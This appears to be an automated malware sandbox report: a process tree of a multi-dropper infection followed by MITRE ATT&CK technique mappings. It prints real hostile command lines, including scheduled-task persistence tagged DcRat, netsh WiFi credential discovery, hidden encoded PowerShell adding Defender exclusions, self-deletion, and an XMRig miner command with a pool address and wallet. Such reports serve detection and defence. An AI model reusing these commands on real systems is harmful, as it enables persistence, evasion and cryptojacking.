  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"
      4⤵
      PID:6916
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe"
      4⤵
      PID:876
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe"
      4⤵
      PID:6920
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe"
      4⤵
      PID:5588
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe"
      4⤵
      PID:8184
- - C:\Users\Admin\AppData\Local\Temp\Files\costa.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\costa.exe"
    3⤵
    - Executes dropped EXE
    PID:2304
  - - C:\Users\Admin\AppData\Local\Temp\e0cbefcb1af40c7d4aff4aca26621a98.exe
      "C:\Users\Admin\AppData\Local\Temp\e0cbefcb1af40c7d4aff4aca26621a98.exe"
      4⤵
      PID:6976
  - - C:\Users\Admin\AppData\Local\Temp\rty27.exe
      "C:\Users\Admin\AppData\Local\Temp\rty27.exe"
      4⤵
      PID:6380
  - - C:\Users\Admin\AppData\Local\Temp\InstallSetup8.exe
      "C:\Users\Admin\AppData\Local\Temp\InstallSetup8.exe"
      4⤵
      PID:1540
    - - C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe
        
        C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe
        5⤵
        
        PID:4008
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Temp\Task.bat" "
        6⤵
        
        PID:6376
        
        C:\Windows\SysWOW64\chcp.com
        
        chcp 1251
        7⤵
        
        PID:7752
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\Admin\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
        7⤵
        DcRat
        Creates scheduled task(s)
        
        PID:7764
- - C:\Users\Admin\AppData\Local\Temp\Files\alex.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\alex.exe"
    3⤵
    PID:2304
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:6148
    - - C:\Users\Admin\AppData\Roaming\configurationValue\Logs.exe
        
        "C:\Users\Admin\AppData\Roaming\configurationValue\Logs.exe"
        5⤵
        
        PID:6872
      - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe"
        6⤵
        
        PID:6468
    - - C:\Users\Admin\AppData\Roaming\configurationValue\olehps.exe
        
        "C:\Users\Admin\AppData\Roaming\configurationValue\olehps.exe"
        5⤵
        
        PID:8024
- - C:\Users\Admin\AppData\Local\Temp\Files\build1234.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\build1234.exe"
    3⤵
    PID:7352
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
      4⤵
      PID:7900
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:7804
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        
        PID:6540
    - - C:\Windows\system32\findstr.exe
        
        findstr /R /C:"[ ]:[ ]"
        5⤵
        
        PID:6824
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
      4⤵
      PID:6924
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:6640
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show networks mode=bssid
        5⤵
        
        PID:8816
    - - C:\Windows\system32\findstr.exe
        
        findstr "SSID BSSID Signal"
        5⤵
        
        PID:8840
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C chcp 65001 && timeout /t 3 > NUL && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\Files\build1234.exe"
      4⤵
      PID:8892
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:8052
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 3
        5⤵
        Delays execution with timeout.exe
        
        PID:2648
- - C:\Users\Admin\AppData\Local\Temp\Files\Kcqqn.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Kcqqn.exe"
    3⤵
    PID:7308
- - C:\Users\Admin\AppData\Local\Temp\Files\ma.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\ma.exe"
    3⤵
    PID:6272
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp99.tmp.bat""
      4⤵
      PID:7436
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:7844
    - - C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
        
        "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
        5⤵
        
        PID:5968
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
        6⤵
        
        PID:8208
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
        7⤵
        DcRat
        Creates scheduled task(s)
        
        PID:9112
- - C:\Users\Admin\AppData\Local\Temp\Files\hiuhehufw.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\hiuhehufw.exe"
    3⤵
    PID:8428
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /C schtasks /create /tn \MicrosoftPlatformRenderer{37379bc5-bb9c-4fca-aa31-e33b4e087725} /tr "C:\Users\Admin\AppData\Local\Temp\Files\hiuhehufw.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
      4⤵
      PID:4920
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn \MicrosoftPlatformRenderer{37379bc5-bb9c-4fca-aa31-e33b4e087725} /tr "C:\Users\Admin\AppData\Local\Temp\Files\hiuhehufw.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
        5⤵
        DcRat
        Creates scheduled task(s)
        
        PID:7460
- - C:\Users\Admin\AppData\Local\Temp\Files\uedfh12.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\uedfh12.exe"
    3⤵
    PID:6928
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:9068
- - C:\Users\Admin\AppData\Local\Temp\Files\15c63318bd5a529e599e5d60302f2dc14961ebcc209b735796efbfdb4c1d59fd.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\15c63318bd5a529e599e5d60302f2dc14961ebcc209b735796efbfdb4c1d59fd.exe"
    3⤵
    PID:6740
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Windows\Temp\1.vbs"
      4⤵
      PID:8412
  - - C:\Windows\Temp\tel.exe
      "C:\Windows\Temp\tel.exe"
      4⤵
      PID:6564
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        5⤵
        
        PID:8392
  - - C:\Windows\Temp\jjj.exe
      "C:\Windows\Temp\jjj.exe"
      4⤵
      PID:5420
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        5⤵
        
        PID:7924
  - - C:\Windows\Temp\fcc.exe
      "C:\Windows\Temp\fcc.exe"
      4⤵
      PID:5544
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\bebra.exe\bebra.exe
        5⤵
        
        PID:6852
- - C:\Users\Admin\AppData\Local\Temp\Files\659474921cf6a4423645f52a7bf5a9be0e42f41573cb6918d5fdebd66b07e4b2.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\659474921cf6a4423645f52a7bf5a9be0e42f41573cb6918d5fdebd66b07e4b2.exe"
    3⤵
    PID:8764
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 8764 -s 476
      4⤵
      Program crash
      PID:8512
- - C:\Users\Admin\AppData\Local\Temp\Files\flesh.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\flesh.exe"
    3⤵
    PID:8976
- - C:\Users\Admin\AppData\Local\Temp\Files\xmrig.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\xmrig.exe"
    3⤵
    PID:6336
- - C:\Users\Admin\AppData\Local\Temp\Files\123.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\123.exe"
    3⤵
    PID:8220
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell "" "Get-WmiObject Win32_PortConnector"
      4⤵
      PID:2280
- - C:\Users\Admin\AppData\Local\Temp\Files\Temp3.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Temp3.exe"
    3⤵
    PID:8232
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "Update" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Files\Temp3.exe" /rl HIGHEST /f
      4⤵
      DcRat
      Creates scheduled task(s)
      PID:5656
  - - C:\Windows\SysWOW64\SubDir\Windows Security Client.exe
      "C:\Windows\SysWOW64\SubDir\Windows Security Client.exe"
      4⤵
      PID:6792
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Update" /sc ONLOGON /tr "C:\Windows\SysWOW64\SubDir\Windows Security Client.exe" /rl HIGHEST /f
        5⤵
        DcRat
        Creates scheduled task(s)
        
        PID:9140
- - C:\Users\Admin\AppData\Local\Temp\Files\toolspub1.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\toolspub1.exe"
    3⤵
    PID:7004
- - C:\Users\Admin\AppData\Local\Temp\Files\07c0acc9cd9a6ae4af685344e28e0a756d3f3a77a60f607d3f90f493d7061108.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\07c0acc9cd9a6ae4af685344e28e0a756d3f3a77a60f607d3f90f493d7061108.exe"
    3⤵
    PID:6020
  - - C:\Users\Admin\AppData\Local\Temp\Files\07c0acc9cd9a6ae4af685344e28e0a756d3f3a77a60f607d3f90f493d7061108.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\07c0acc9cd9a6ae4af685344e28e0a756d3f3a77a60f607d3f90f493d7061108.exe"
      4⤵
      PID:6340
- - C:\Users\Admin\AppData\Local\Temp\Files\WinlockerBuilderv5.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\WinlockerBuilderv5.exe"
    3⤵
    PID:6924
  - - C:\Users\Admin\AppData\Local\Temp\Microsoft\MyClient\jusched.exe
      "C:\Users\Admin\AppData\Local\Temp\Microsoft\MyClient\jusched.exe"
      4⤵
      PID:7156
  - - C:\Users\Admin\AppData\Local\Temp\svshost.exe
      "C:\Users\Admin\AppData\Local\Temp\svshost.exe"
      4⤵
      PID:3324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#llzqlmcx#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Windows Upgrade Manager' /tr '''C:\Users\Admin\Windows Upgrade\wupgrdsv.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Windows Upgrade Manager' -RunLevel 'Highest' -Force; }
  2⤵
  PID:1576
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "Windows Upgrade Manager"
  2⤵
  PID:5564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#llzqlmcx#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Windows Upgrade Manager' /tr '''C:\Users\Admin\Windows Upgrade\wupgrdsv.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Windows Upgrade Manager' -RunLevel 'Highest' -Force; }
  2⤵
  PID:6032
- C:\Windows\System32\notepad.exe
  C:\Windows\System32\notepad.exe
  2⤵
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:5124

C:\Users\Admin\AppData\Local\Temp\BLduscfibj.exe
C:\Users\Admin\AppData\Local\Temp\BLduscfibj.exe
1⤵
- Executes dropped EXE
PID:4132

C:\Users\Admin\AppData\Local\Temp\BLduscfibj.exe
C:\Users\Admin\AppData\Local\Temp\BLduscfibj.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5056

C:\Windows\System32\werfault.exe
\??\C:\Windows\System32\werfault.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2128

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABTAHQAcgBpAG4AZwBJAGQAcwAuAGUAeABlADsA
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2292

C:\Users\Admin\AppData\Roaming\escgwhs
C:\Users\Admin\AppData\Roaming\escgwhs
1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:4140

C:\Windows\system32\PING.EXE
ping 1.1.1.1 -n 1 -w 3000
1⤵
- Runs ping.exe
PID:2696

C:\Users\Admin\AppData\Local\Detail\vejmmultl\StringIds.exe
C:\Users\Admin\AppData\Local\Detail\vejmmultl\StringIds.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2664
- C:\Users\Admin\AppData\Local\Detail\vejmmultl\StringIds.exe
  C:\Users\Admin\AppData\Local\Detail\vejmmultl\StringIds.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:2792
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    3⤵
    - Suspicious use of SetThreadContext
    PID:2696
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      4⤵
      PID:1468

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABTAHQAcgBpAG4AZwBJAGQAcwAuAGUAeABlADsA
1⤵
PID:32

C:\Users\Admin\AppData\Local\Temp\fzdbyrqea.exe
C:\Users\Admin\AppData\Local\Temp\fzdbyrqea.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4960
- C:\Users\Admin\AppData\Local\Temp\fzdbyrqea.exe
  C:\Users\Admin\AppData\Local\Temp\fzdbyrqea.exe
  2⤵
  - Executes dropped EXE
  PID:4104

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBlAHMAcwBhAGcAZQBcAFMAdQBwAHAAbwByAHQAcwBEAHkAbgBhAG0AaQBjAFAAYQByAHQAaQB0AGkAbwBuAHMALgBlAHgAZQAsAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABNAGkAYwByAG8AcwBvAGYAdAAuAE4ARQBUAFwARgByAGEAbQBlAHcAbwByAGsANgA0AFwAdgA0AC4AMAAuADMAMAAzADEAOQBcAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzAC4AZQB4AGUAIAAtAEYAbwByAGMAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABNAGkAYwByAG8AcwBvAGYAdAAuAE4ARQBUAFwARgByAGEAbQBlAHcAbwByAGsANgA0AFwAdgA0AC4AMAAuADMAMAAzADEAOQBcAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzAC4AZQB4AGUALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AZQBzAHMAYQBnAGUAXABTAHUAcABwAG8AcgB0AHMARAB5AG4AYQBtAGkAYwBQAGEAcgB0AGkAdABpAG8AbgBzAC4AZQB4AGUA
1⤵
PID:4332

C:\Users\Admin\AppData\Roaming\Message\SupportsDynamicPartitions.exe
C:\Users\Admin\AppData\Roaming\Message\SupportsDynamicPartitions.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1700
- C:\Users\Admin\AppData\Roaming\Message\SupportsDynamicPartitions.exe
  C:\Users\Admin\AppData\Roaming\Message\SupportsDynamicPartitions.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:4664
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
    3⤵
    - Suspicious use of SetThreadContext
    PID:4492
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
      4⤵
      PID:3972
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o xmr.2miners.com:2222 -u 4BBSeeCcr5wHcnUb8nD4AmBTU39d2dELQiDDTAamz1iWT7GjRdpsZi38VpMH48oY9VYwUdBgTCYshjQGRuu6mcoH1fE9LC5.RIG_CPU -p x --algo rx/0 --cpu-max-threads-hint=50
        5⤵
        
        PID:6104

C:\Users\Admin\AppData\Roaming\Eszop.exe
C:\Users\Admin\AppData\Roaming\Eszop.exe
1⤵
- Executes dropped EXE
PID:1772

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3464

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:1428

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5092

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3484

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:3644

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:5248

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:5348

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:5884

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:5680

C:\Users\Admin\Windows Upgrade\wupgrdsv.exe
"C:\Users\Admin\Windows Upgrade\wupgrdsv.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:6028

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:5660

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:7160

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Scripting

T1064

Persistence

Scheduled Task/Job

Privilege Escalation

Scheduled Task/Job

Defense Evasion

Modify Registry

T1112

Scripting

T1064

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery